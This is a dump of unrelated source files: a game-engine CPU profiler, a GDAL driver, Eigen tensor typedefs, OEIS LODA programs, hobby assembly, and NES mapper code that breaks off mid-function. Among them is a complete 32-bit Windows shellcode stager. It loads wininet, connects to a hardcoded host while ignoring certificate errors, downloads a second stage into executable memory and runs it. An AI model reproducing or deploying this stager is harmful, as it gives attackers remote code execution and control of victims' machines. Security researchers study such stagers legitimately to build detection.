auto [wx, wy] = ImGui::GetWindowPos();
wy -= ImGui::GetScrollY();
const float windowWidth = ImGui::GetWindowWidth();
const float boundaryY = wy + (baseRow + maxDepth + 1) * RowHeight - 5;
ImGui::GetWindowDrawList()->AddLine({ wx, boundaryY }, { wx + windowWidth, boundaryY }, red, 2.0f);
}
inline void ImGuiCpuProfiler::DrawThreadLabel(u64 baseRow, AZStd::thread_id threadId)
{
auto [wx, wy] = ImGui::GetWindowPos();
wy -= ImGui::GetScrollY();
const AZStd::string threadIdText = CpuProfilerImGuiHelper::TextThreadId(threadId.m_id);
ImGui::GetWindowDrawList()->AddText({ wx + 10, wy + baseRow * RowHeight + 5 }, IM_COL32_WHITE, threadIdText.c_str());
}
inline void ImGuiCpuProfiler::DrawFrameBoundaries()
{
ImDrawList* drawList = ImGui::GetWindowDrawList();
const float wy = ImGui::GetWindowPos().y;
const float windowHeight = ImGui::GetWindowHeight();
const ImU32 red = ImGui::GetColorU32({ 1, 0, 0, 1 });
// End ticks are sorted in increasing order, find the first frame bound to draw
auto endTickItr = AZStd::lower_bound(m_frameEndTicks.begin(), m_frameEndTicks.end(), m_viewportStartTick);
while (endTickItr != m_frameEndTicks.end() && *endTickItr < m_viewportEndTick)
{
const float horizontalPixel = ConvertTickToPixelSpace(*endTickItr, m_viewportStartTick, m_viewportEndTick);
drawList->AddLine({ horizontalPixel, wy }, { horizontalPixel, wy + windowHeight }, red);
++endTickItr;
}
}
inline void ImGuiCpuProfiler::DrawRuler()
{
// Use a pair of iterators to go through all saved frame boundaries and draw ruler lines
auto lastFrameBoundaryItr = AZStd::lower_bound(m_frameEndTicks.begin(), m_frameEndTicks.end(), m_viewportStartTick);
auto nextFrameBoundaryItr = lastFrameBoundaryItr;
if (lastFrameBoundaryItr != m_frameEndTicks.begin())
{
--lastFrameBoundaryItr;
}
const auto [wx, wy] = ImGui::GetWindowPos();
ImDrawList* drawList = ImGui::GetWindowDrawList();
while (nextFrameBoundaryItr != m_frameEndTicks.end() && *lastFrameBoundaryItr <= m_viewportEndTick)
{
const AZStd::sys_time_t lastFrameBoundaryTick = *lastFrameBoundaryItr;
const AZStd::sys_time_t nextFrameBoundaryTick = *nextFrameBoundaryItr;
if (lastFrameBoundaryTick > m_viewportEndTick)
{
break;
}
const float lastFrameBoundaryPixel = ConvertTickToPixelSpace(lastFrameBoundaryTick, m_viewportStartTick, m_viewportEndTick);
const float nextFrameBoundaryPixel = ConvertTickToPixelSpace(nextFrameBoundaryTick, m_viewportStartTick, m_viewportEndTick);
const AZStd::string label =
AZStd::string::format("%.2f ms", CpuProfilerImGuiHelper::TicksToMs(nextFrameBoundaryTick - lastFrameBoundaryTick));
const float labelWidth = ImGui::CalcTextSize(label.c_str()).x;
// The label can fit between the two boundaries, center it and draw
if (labelWidth <= nextFrameBoundaryPixel - lastFrameBoundaryPixel)
{
const float offset = (nextFrameBoundaryPixel - lastFrameBoundaryPixel - labelWidth) /2;
const float textBeginPixel = lastFrameBoundaryPixel + offset;
const float textEndPixel = textBeginPixel + labelWidth;
// Execution time label
drawList->AddText({ textBeginPixel, wy + ImGui::GetWindowHeight() / 4 }, IM_COL32_WHITE, label.c_str());
// Left side
drawList->AddLine(
{ lastFrameBoundaryPixel, wy + ImGui::GetWindowHeight() / 2 },
{ textBeginPixel - 5, wy + ImGui::GetWindowHeight() / 2},
IM_COL32_WHITE);
// Right side
drawList->AddLine(
{ textEndPixel, wy + ImGui::GetWindowHeight()/2 },
{ nextFrameBoundaryPixel, wy + ImGui::GetWindowHeight()/2 },
IM_COL32_WHITE);
}
else // Cannot fit inside, just draw a line between the two boundaries
{
drawList->AddLine(
{ lastFrameBoundaryPixel, wy + ImGui::GetWindowHeight() / 2 },
{ nextFrameBoundaryPixel, wy + ImGui::GetWindowHeight() / 2 },
IM_COL32_WHITE);
}
// Left bound
drawList->AddLine(
{ lastFrameBoundaryPixel, wy },
{ lastFrameBoundaryPixel, wy + ImGui::GetWindowHeight() },
IM_COL32_WHITE);
// Right bound
drawList->AddLine(
{ nextFrameBoundaryPixel, wy },
{ nextFrameBoundaryPixel, wy + ImGui::GetWindowHeight() },
IM_COL32_WHITE);
lastFrameBoundaryItr = nextFrameBoundaryItr;
++nextFrameBoundaryItr;
}
}
inline void ImGuiCpuProfiler::DrawFrameTimeHistogram()
{
ImDrawList* drawList = ImGui::GetWindowDrawList();
const auto [wx, wy] = ImGui::GetWindowPos();
const ImU32 orange = ImGui::GetColorU32({ 1, .7, 0, 1 });
const ImU32 red = ImGui::GetColorU32({ 1, 0, 0, 1 });
const AZStd::sys_time_t ticksPerSecond = AZStd::GetTimeTicksPerSecond();
const AZStd::sys_time_t viewportCenter = m_viewportEndTick - (m_viewportEndTick - m_viewportStartTick) / 2;
const AZStd::sys_time_t leftHistogramBound = viewportCenter - ticksPerSecond;
const AZStd::sys_time_t rightHistogramBound = viewportCenter + ticksPerSecond;
// Draw frame limit lines
drawList->AddLine(
{ wx, wy + ImGui::GetWindowHeight() - MediumFrameTimeLimit },
{ wx + ImGui::GetWindowWidth(), wy + ImGui::GetWindowHeight() - MediumFrameTimeLimit },
orange);
drawList->AddLine(
{ wx, wy + ImGui::GetWindowHeight() - HighFrameTimeLimit },
{ wx + ImGui::GetWindowWidth(), wy + ImGui::GetWindowHeight() - HighFrameTimeLimit },
red);
// Draw viewport bound rectangle
const float leftViewportPixel = ConvertTickToPixelSpace(m_viewportStartTick, leftHistogramBound, rightHistogramBound);
const float rightViewportPixel = ConvertTickToPixelSpace(m_viewportEndTick, leftHistogramBound, rightHistogramBound);
const ImVec2 topLeftPos = { leftViewportPixel, wy };
const ImVec2 botRightPos = { rightViewportPixel, wy + ImGui::GetWindowHeight() };
const ImU32 gray = ImGui::GetColorU32({ 1, 1, 1, .3 });
drawList->AddRectFilled(topLeftPos, botRightPos, gray);
// Find the first onscreen frame execution time
auto frameEndTickItr = AZStd::lower_bound(m_frameEndTicks.begin(), m_frameEndTicks.end(), leftHistogramBound);
if (frameEndTickItr != m_frameEndTicks.begin())
{
--frameEndTickItr;
}
// Since we only store the frame end ticks, we must calculate the execution times on the fly by comparing pairs of elements.
AZStd::sys_time_t lastFrameEndTick = *frameEndTickItr;
while (*frameEndTickItr < rightHistogramBound && ++frameEndTickItr != m_frameEndTicks.end())
{
const AZStd::sys_time_t frameEndTick = *frameEndTickItr;
const float framePixelPos = ConvertTickToPixelSpace(frameEndTick, leftHistogramBound, rightHistogramBound);
const float frameTimeMs = CpuProfilerImGuiHelper::TicksToMs(frameEndTick - lastFrameEndTick);
const ImVec2 lineBottom = { framePixelPos, ImGui::GetWindowHeight() + wy };
const ImVec2 lineTop = { framePixelPos, ImGui::GetWindowHeight() + wy - frameTimeMs };
ImU32 lineColor = ImGui::GetColorU32({ .3, .3, .3, 1 }); // Gray
if (frameTimeMs > HighFrameTimeLimit)
{
lineColor = ImGui::GetColorU32({1, 0, 0, 1}); // Red
}
else if (frameTimeMs > MediumFrameTimeLimit)
{
lineColor = ImGui::GetColorU32({1, .7, 0, 1}); // Orange
}
drawList->AddLine(lineBottom, lineTop, lineColor, 3.0);
lastFrameEndTick = frameEndTick;
}
// Handle input
ImGui::InvisibleButton("HistogramInputCapture", { ImGui::GetWindowWidth(), ImGui::GetWindowHeight() });
ImGuiIO& io = ImGui::GetIO();
if (ImGui::IsItemClicked(ImGuiMouseButton_Left))
{
const float mousePixelX = io.MousePos.x;
const float percentWindow = (mousePixelX - wx) / ImGui::GetWindowWidth();
const AZStd::sys_time_t newViewportCenterTick = leftHistogramBound +
aznumeric_cast<AZStd::sys_time_t>((rightHistogramBound - leftHistogramBound) * percentWindow);
const AZStd::sys_time_t viewportWidth = GetViewportTickWidth();
m_viewportEndTick = newViewportCenterTick + viewportWidth / 2;
m_viewportStartTick = newViewportCenterTick - viewportWidth / 2;
}
}
inline AZStd::sys_time_t ImGuiCpuProfiler::GetViewportTickWidth() const
{
return m_viewportEndTick - m_viewportStartTick;
}
inline float ImGuiCpuProfiler::ConvertTickToPixelSpace(AZStd::sys_time_t tick, AZStd::sys_time_t leftBound, AZStd::sys_time_t rightBound) const
{
const float wx = ImGui::GetWindowPos().x;
const float tickSpaceShifted = aznumeric_cast<float>(tick - leftBound); // This will be close to zero, so FP inaccuracy should not be too bad
const float tickSpaceNormalized = tickSpaceShifted / (rightBound - leftBound);
const float pixelSpace = tickSpaceNormalized * ImGui::GetWindowWidth() + wx;
return pixelSpace;
}
// System tick bus overrides
inline void ImGuiCpuProfiler::OnSystemTick()
{
if (m_paused)
{
SystemTickBus::Handler::BusDisconnect();
}
else
{
m_frameEndTicks.push_back(AZStd::GetTimeNowTicks());
for (auto& [groupName, regionMap] : m_groupRegionMap)
{
for (auto& [regionName, row] : regionMap)
{
row.ResetPerFrameStatistics();
}
}
}
}
// ---- TableRow impl ----
inline void TableRow::RecordRegion(const AZ::RHI::CachedTimeRegion& region, AZStd::thread_id threadId)
{
const AZStd::sys_time_t deltaTime = region.m_endTick - region.m_startTick;
// Update per frame statistics
++m_invocationsLastFrame;
m_executingThreads.insert(threadId);
m_lastFrameTotalTicks += deltaTime;
m_maxTicks = AZStd::max(m_maxTicks, deltaTime);
// Update aggregate statistics
m_runningAverageTicks =
aznumeric_cast<AZStd::sys_time_t>((1.0 * (deltaTime + m_invocationsTotal * m_runningAverageTicks)) / (m_invocationsTotal + 1));
++m_invocationsTotal;
}
inline void TableRow::ResetPerFrameStatistics()
{
m_invocationsLastFrame = 0;
m_executingThreads.clear();
m_lastFrameTotalTicks = 0;
m_maxTicks = 0;
}
inline AZStd::string TableRow::GetExecutingThreadsLabel() const
{
auto threadString = AZStd::string::format("Executed in %zu threads\n", m_executingThreads.size());
for (const auto& threadId : m_executingThreads)
{
threadString.append(CpuProfilerImGuiHelper::TextThreadId(threadId.m_id) + "\n");
}
return threadString;
}
} // namespace Render
} // namespace AZ
|
#section that turns on lights in sequential order until 99, or from point when button was pressed
Light:
#special register is set to 0
ASSIGNI $7 0
#takes inputs from all the buttons and stores them first 4 registers
IN $0 $0
IN $1 $1
IN $2 $2
IN $3 $3
#stores total values of all inputs into single register $0
ADD $0 $1
ADD $0 $2
ADD $0 $3
#BNE is used to see if any buttons have been pressed. If the value of $0 is not 0 like $7, then it means a button has been pressed and should branch
BNE $0 Off
#after above comparison, sets special register to value of 99 and compares against current value for the light
ASSIGNI $7 99
BEQ $4 Off
#outputs the current LED to light and then increments $4 to use for the next light
ASSIGNI $1 1
OUT $1 $4
ADDI $4 1
#will always branch back to light because $7 = $7 always
BEQ $7 Light
#section that turns lights off from 99 to 0, or from the point when a button was pressed to 0
Off:
#Assigns $7 to 0 since it is intially the value we are working to reach
ASSIGNI $7 0
#these next 9 lines to the same as in Light block, tests to see if button is pressed in order to branch
IN $0 $0
IN $1 $1
IN $2 $2
IN $3 $3
ADD $0 $1
ADD $0 $2
ADD $0 $3
BNE $0 Light
OUT $1 $4
#increments value of current LED by -1 since immediate values are 2's complement
ADDI $4 -1
# return to Light section if we've reached address 0
BEQ $4 Light
#always branch back to off because $7 = $7 always
BEQ $7 Off
|
/******************************************************************************
*
* Project: AeronavFAA Translator
* Purpose: Implements OGRAeronavFAADriver.
* Author: Even Rouault, even dot rouault at mines dash paris dot org
*
******************************************************************************
* Copyright (c) 2011, Even Rouault <even dot rouault at mines-paris dot org>
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
****************************************************************************/
#include "ogr_aeronavfaa.h"
#include "cpl_conv.h"
CPL_CVSID("$Id: ograeronavfaadriver.cpp 7e07230bbff24eb333608de4dbd460b7312839d0 2017-12-11 19:08:47Z Even Rouault $")
// g++ ogr/ogrsf_frmts/aeronavfaa/*.cpp -Wall -g -fPIC -shared -o ogr_AeronavFAA.so -Iport -Igcore -Iogr -Iogr/ogrsf_frmts/aernovfaa -Iogr/ogrsf_frmts
extern "C" void RegisterOGRAeronavFAA();
/************************************************************************/
/* Open() */
/************************************************************************/
static GDALDataset *OGRAeronavFAADriverOpen( GDALOpenInfo* poOpenInfo )
{
if (poOpenInfo->eAccess == GA_Update ||
poOpenInfo->fpL == nullptr ||
!EQUAL(CPLGetExtension(poOpenInfo->pszFilename), "dat") )
{
return nullptr;
}
OGRAeronavFAADataSource *poDS = new OGRAeronavFAADataSource();
if( !poDS->Open( poOpenInfo->pszFilename ) )
{
delete poDS;
poDS = nullptr;
}
return poDS;
}
/************************************************************************/
/* RegisterOGRAeronavFAA() */
/************************************************************************/
void RegisterOGRAeronavFAA()
{
if( GDALGetDriverByName( "AeronavFAA" ) != nullptr )
return;
GDALDriver *poDriver = new GDALDriver();
poDriver->SetDescription( "AeronavFAA" );
poDriver->SetMetadataItem( GDAL_DCAP_VECTOR, "YES" );
poDriver->SetMetadataItem( GDAL_DMD_LONGNAME, "Aeronav FAA" );
poDriver->SetMetadataItem( GDAL_DMD_HELPTOPIC, "drv_aeronavfaa.html" );
poDriver->SetMetadataItem( GDAL_DCAP_VIRTUALIO, "YES" );
poDriver->pfnOpen = OGRAeronavFAADriverOpen;
GetGDALDriverManager()->RegisterDriver( poDriver );
}
|
/**
* Copyright (C) Omar Thor <omarthoro@gmail.com> - All Rights Reserved
* Unauthorized copying of this file, via any medium is strictly prohibited
* Proprietary and confidential
*
* Written by Omar Thor <omarthoro@gmail.com>, 2017
*/
#ifndef SP_ALGO_NN_MATRIX_HPP
#define SP_ALGO_NN_MATRIX_HPP
#include "config.hpp"
#include <eigen3/Eigen/Dense>
#include <eigen3/Eigen/Sparse>
#include <eigen3/unsupported/Eigen/CXX11/Tensor>
/**
* \file This file contains common typedefs for use with linear algebra
* operations for the use with neural network
*
* Currently, Eigen is the choice for a LA library implementation although
* armadillo is also a candiate. However, due to Tensor support in Eigen it is
* the currently used library.
*/
SP_ALGO_NN_NAMESPACE_BEGIN
/**
* Dynamic matrix typedef
*/
using matrix = Eigen::Matrix<float_t, Eigen::Dynamic, Eigen::Dynamic>;
using sparse_matrix = Eigen::SparseMatrix<float_t>;
/**
* Static matrix typedef
*/
template<size_t rows, size_t cols>
using matrix_fixed = Eigen::Matrix<float_t, rows, cols>;
template<size_t size>
using vector_fixed = Eigen::Matrix<float_t, size, 1>;
using vector = Eigen::Matrix<float_t, Eigen::Dynamic, 1>;
template<typename ... Parameters>
using tensor_base = Eigen::TensorBase<Parameters...>;
template<size_t Rank, typename T = float_t>
using tensor_n = Eigen::Tensor<T, Rank, Eigen::Aligned128 | Eigen::RowMajor>;
template<size_t Rank, typename T = float_t>
using tensor_n_ref = Eigen::TensorRef<tensor_n<Rank, T>>;
template<size_t Rank>
using tensor_map = Eigen::TensorMap<tensor_n<Rank>, Eigen::Aligned128 | Eigen::RowMajor>;
/**
* Tensor, Rank 5
*/
using tensor_4 = tensor_n<4>;
/**
* Tensor reference, Rank 5
*/
using tensor_5 = tensor_n<5>;
/**
* Tensor, Rank 4
*/
using tensor_4 = tensor_n<4>;
/**
* Tensor reference, Rank 4
*/
using tensor_4_ref = tensor_n_ref<4>;
/**
* Tensor, Rank 3,
*
*/
using tensor_3 = tensor_n<3>;
/**
* Tensor reference, Rank 3
*/
using tensor_3_ref = tensor_n_ref<3>;
/**
* Tensor, Rank 2
*/
using tensor_2 = tensor_n<2>;
/**
* Tensor reference, Rank 2
*/
using tensor_2_ref = tensor_n<2>;
/**
* Tensor, Rank 1
*/
using tensor_1 = tensor_n<1>;
/**
* Tensor reference, Rank 1
*/
using tensor_1_ref = tensor_n<1>;
/**
* Tensor, Rank 0
*/
using tensor_0 = tensor_n<0>;
/**
* Tensor reference, Rank 0
*/
using tensor_0_ref = tensor_n_ref<0>;
/**
* \brief Convert a tensor (rank 2) to a matrix
*/
template<typename ... Parameters>
auto as_mat(tensor_2& tensor) {
return Eigen::Map<matrix>(
tensor.data(),
tensor.dimension(0),
tensor.dimension(1)
);
}
/**
* Map a matrix as a tensor
* \param mat
* \return
*/
auto as_tensor(matrix& mat) {
return tensor_map<2>(
mat.data(),
mat.rows(),
mat.cols()
);
}
SP_ALGO_NN_NAMESPACE_END
#endif /* SP_ALGO_NN_MATRIX_HPP */
|
; Output the byte on the top of the data stack in hexadecimal representation.
; S: a --
$COLON 'H.2',$HOUT2
CW $BTOH, $EMIT, $EMIT
$END_COLON
|
; A157820: 27225n^2 + 2n.
; 27227,108904,245031,435608,680635,980112,1334039,1742416,2205243,2722520,3294247,3920424,4601051,5336128,6125655,6969632,7868059,8820936,9828263,10890040,12006267,13176944,14402071,15681648,17015675,18404152,19847079,21344456,22896283,24502560,26163287,27878464,29648091,31472168,33350695,35283672,37271099,39312976,41409303,43560080,45765307,48024984,50339111,52707688,55130715,57608192,60140119,62726496,65367323,68062600,70812327,73616504,76475131,79388208,82355735,85377712,88454139,91585016,94770343,98010120,101304347,104653024,108056151,111513728,115025755,118592232,122213159,125888536,129618363,133402640,137241367,141134544,145082171,149084248,153140775,157251752,161417179,165637056,169911383,174240160,178623387,183061064,187553191,192099768,196700795,201356272,206066199,210830576,215649403,220522680,225450407,230432584,235469211,240560288,245705815,250905792,256160219,261469096,266832423,272250200
mov $5,$0
add $5,3
mov $6,$0
mul $0,2
add $0,$5
lpb $0
mul $0,5
mov $3,$0
mov $0,1
mul $3,11
mov $4,1
mov $5,$3
lpe
pow $5,2
mov $1,$5
add $1,$4
add $1,1
mov $2,$6
mul $2,2
add $1,$2
mov $0,$1
|
#include "B.h"
#include <iostream>
void B::afficher() const {
std::cout << attribut_;
}
B::B(int p) {
attribut_ = p;
} |
#include "string.h"
#include "hash.h"
#include <library/cpp/unittest/registar.h>
#include <map>
#include "mapfindptr.h"
Y_UNIT_TEST_SUITE(TMapFindPtrTest) {
struct TTestMap : std::map<int, TString>, TMapOps<TTestMap> {};
Y_UNIT_TEST(TestDerivedClass) {
TTestMap a;
a[42] = "cat";
UNIT_ASSERT(a.FindPtr(42));
UNIT_ASSERT_EQUAL(*a.FindPtr(42), "cat");
UNIT_ASSERT_EQUAL(a.FindPtr(0), nullptr);
//test mutation
if (TString* p = a.FindPtr(42)) {
*p = "dog";
}
UNIT_ASSERT(a.FindPtr(42));
UNIT_ASSERT_EQUAL(*a.FindPtr(42), "dog");
//test const-overloaded functions too
const TTestMap& b = a;
UNIT_ASSERT(b.FindPtr(42) && *b.FindPtr(42) == "dog");
UNIT_ASSERT_EQUAL(b.FindPtr(0), nullptr);
UNIT_ASSERT_STRINGS_EQUAL(b.Value(42, "cat"), "dog");
UNIT_ASSERT_STRINGS_EQUAL(b.Value(0, "alien"), "alien");
}
Y_UNIT_TEST(TestTemplateFind) {
THashMap<TString, int> m;
m[TString("x")] = 2;
UNIT_ASSERT(m.FindPtr(TStringBuf("x")));
UNIT_ASSERT_EQUAL(*m.FindPtr(TStringBuf("x")), 2);
}
Y_UNIT_TEST(TestValue) {
TTestMap a;
a[1] = "lol";
UNIT_ASSERT_VALUES_EQUAL(a.Value(1, "123"), "lol");
UNIT_ASSERT_VALUES_EQUAL(a.Value(2, "123"), "123");
}
Y_UNIT_TEST(TestValueRef) {
TTestMap a;
a[1] = "lol";
const TString str123 = "123";
TString str1234 = "1234";
UNIT_ASSERT_VALUES_EQUAL(a.ValueRef(1, str123), "lol");
UNIT_ASSERT_VALUES_EQUAL(a.ValueRef(2, str123), "123");
UNIT_ASSERT_VALUES_EQUAL(a.ValueRef(3, str1234), "1234");
}
}
|
; A046854: Triangle T(n, k) = binomial(floor((n+k)/2), k), n>=0, n >= k >= 0.
; 1,1,1,1,1,1,1,2,1,1,1,2,3,1,1,1,3,3,4,1,1,1,3,6,4,5,1,1,1,4,6,10,5,6,1,1,1,4,10,10,15,6,7,1,1,1,5,10,20,15,21,7,8,1,1,1,5,15,20,35,21,28,8,9,1,1,1,6,15,35,35,56,28,36,9,10,1,1,1,6,21,35,70,56,84,36,45,10,11,1,1,1,7,21,56,70,126,84,120,45
lpb $0
mov $1,$0
add $2,1
sub $0,$2
div $1,2
lpe
bin $1,$0
mov $0,$1
|
; A319210: a(n) = phi(n^2 - 1)/2 where phi is A000010.
; 1,2,4,4,12,8,18,16,30,16,60,24,48,48,64,48,144,48,108,80,132,80,220,96,180,144,252,96,420,128,300,256,240,192,432,216,432,288,480,192,840,240,504,440,552,352,966,320,672,480,832,432,1040,432,720,672,1044,448,1740,480,1080,960,864,640,1584,640,1452,768,1540,576,2520,864,1440,1296,1200,864,2340,768,2106,1280,2214,960,2624,1008,1792,1680,2464,960,3168,1056,2160,2024,2160,1472,3456,1344,2880,1680,3000,1280
add $0,2
pow $0,2
sub $0,2
seq $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
div $0,2
|
; Arquivo: Pow.nasm
; Curso: Elementos de Sistemas
; Criado por: Luciano Soares
; Data: 27/03/2017
; Eleva ao quadrado o valor da RAM[1] e armazena o resultado na RAM[0].
; Só funciona com números positivos
leaw $R1, %A
movw (%A), %D
leaw $R2, %A
movw %D, (%A)
leaw $R5, %A
movw %D, (%A)
leaw $0, %A
movw %A, %S
leaw $R4, %A
movw %S, (%A)
leaw $R3, %A
movw %S, (%A)
leaw $1, %A
movw %A, %S
while1:
leaw $R2, %A
addw (%A), %D, %S
movw %S, (%A)
leaw $R4, %A
movw (%A), %S
incw %S
movw %S, (%A)
subw (%A), %D,%S
leaw %while1, %A
jne %S
nop
leaw $R2, %A
subw (%A), %D,%S
leaw $R0, %A
movw %S, (%A)
|
; A238303: Triangle T(n,k), 0<=k<=n, read by rows given by T(n,0) = 1, T(n,k) = 2 if k>0.
; 1,1,2,1,2,2,1,2,2,2,1,2,2,2,2,1,2,2,2,2,2,1,2,2,2,2,2,2,1,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2
lpb $0
add $2,1
sub $0,$2
lpe
lpb $0
div $0,15
mov $1,1
lpe
add $1,1
|
; SBSEXT_TK2_ROM - TK2 ROM header 2017 TT & MK
section header
xref init
; xref mdv_io
xref ut_fdev
include 'dev8_keys_qlv'
include 'dev8_keys_sys'
include 'dev8_keys_qdos_sms'
rom_header
dc.l $4AFB0001
dc.w 0 ; No BASIC extension
dc.w rom_init-rom_header ; Initialisation routine
; banner will be included here by the linker
section init
rom_init
movem.l a0/a3,-(sp)
;;; lea rom_header(pc),a1
;;; cmpa.l #$000CC000,a1 ; Are we a mirror at $000CC000?
;;; bne.s no_mirror
;;; lea mdv_io(pc),a2
;;; moveq #0,d0
;;; move.w a2,d0
;;; movea.l d0,a2 ; $000CC000 base -> $0000C000 base
;;; moveq #sys_fsdl,d3
;;; bsr ut_fdev
;;; beq.s dev_found ; Found, we're already active...
;;;no_mirror
bsr.s init
dev_found
movem.l (sp)+,a0/a3
rts
end
|
;-----------------------------------------------------------------------------;
; Author: HD Moore
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
call internetopen
proxy_server_name:
db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:55555",0x00
internetopen:
mov ecx, esp
xor edi,edi
push edi ; DWORD dwFlags
push edi ; LPCTSTR lpszProxyBypass
push ecx ; LPCTSTR lpszProxyName
push byte 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
push byte 0 ; NULL pointer
push esp ; LPCTSTR lpszAgent ("\x00")
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
jmp short dbl_get_server_host
internetconnect:
pop ebx ; Save the hostname pointer
xor ecx, ecx
push ecx ; DWORD_PTR dwContext (NULL)
push ecx ; dwFlags
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ecx ; password
push ecx ; username
push dword 4444 ; PORT
push ebx ; HOSTNAME
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
jmp get_server_uri
httpopenrequest:
pop ecx
xor edx, edx ; NULL
push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00800000 | ; INTERNET_FLAG_SECURE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
;0x00000200 ; INTERNET_FLAG_NO_UI
push edx ; accept types
push edx ; referrer
push edx ; version
push ecx ; url
push edx ; method
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
mov esi, eax ; hHttpRequest
set_retry:
push byte 0x10
pop ebx
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options:
push 0x00003380
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
mov eax, esp
push byte 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
httpsendrequest:
xor edi, edi
push edi ; optional length
push edi ; optional
push edi ; dwHeadersLength
push edi ; headers
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
test eax,eax
jnz short allocate_memory
try_it_again:
dec ebx
jz failure
jmp short set_security_options
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call httpopenrequest
server_uri:
db "/12345", 0x00
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us)
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call ebp
test eax,eax ; download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
get_server_host:
call internetconnect
server_host:
|
// Mapper 2: UxROM
//define LOG_MAPPER2()
scope Mapper2: {
Init:
addi sp, 8
sw ra, -8 (sp)
jal InitUxPRGROM
la_gp(a0, Write)
jal Write
lli cpu_t0, 0
// Hard wired CHR ROM mapping 0x0000-0x2000 (8K)
ls_gp(lw t0, chrrom_start)
lli t1, 8
lli t2, 0
-
sw t0, ppu_map (t2)
addi t1, -1
bnez t1,-
addi t2, 4
// Default mirroring is sufficient
lw ra, -8(sp)
jr ra
addi sp, -8
Write:
// cpu_t0: data
// cpu_t1: address (unused)
if {defined LOG_MAPPER2} {
addi sp, 8
sw ra, -8(sp)
jal PrintStr0
la_gp(a0, map2_msg)
move a0, cpu_t0
jal PrintHex
lli a1, 2
jal NewlineAndFlushDebug
nop
lw ra, -8(sp)
addi sp, -8
}
ls_gp(sb cpu_t0, uxrom_prgrom_bank)
ls_gp(lwu t0, prgrom_mask)
sll t1, cpu_t0, prgrom_page_shift
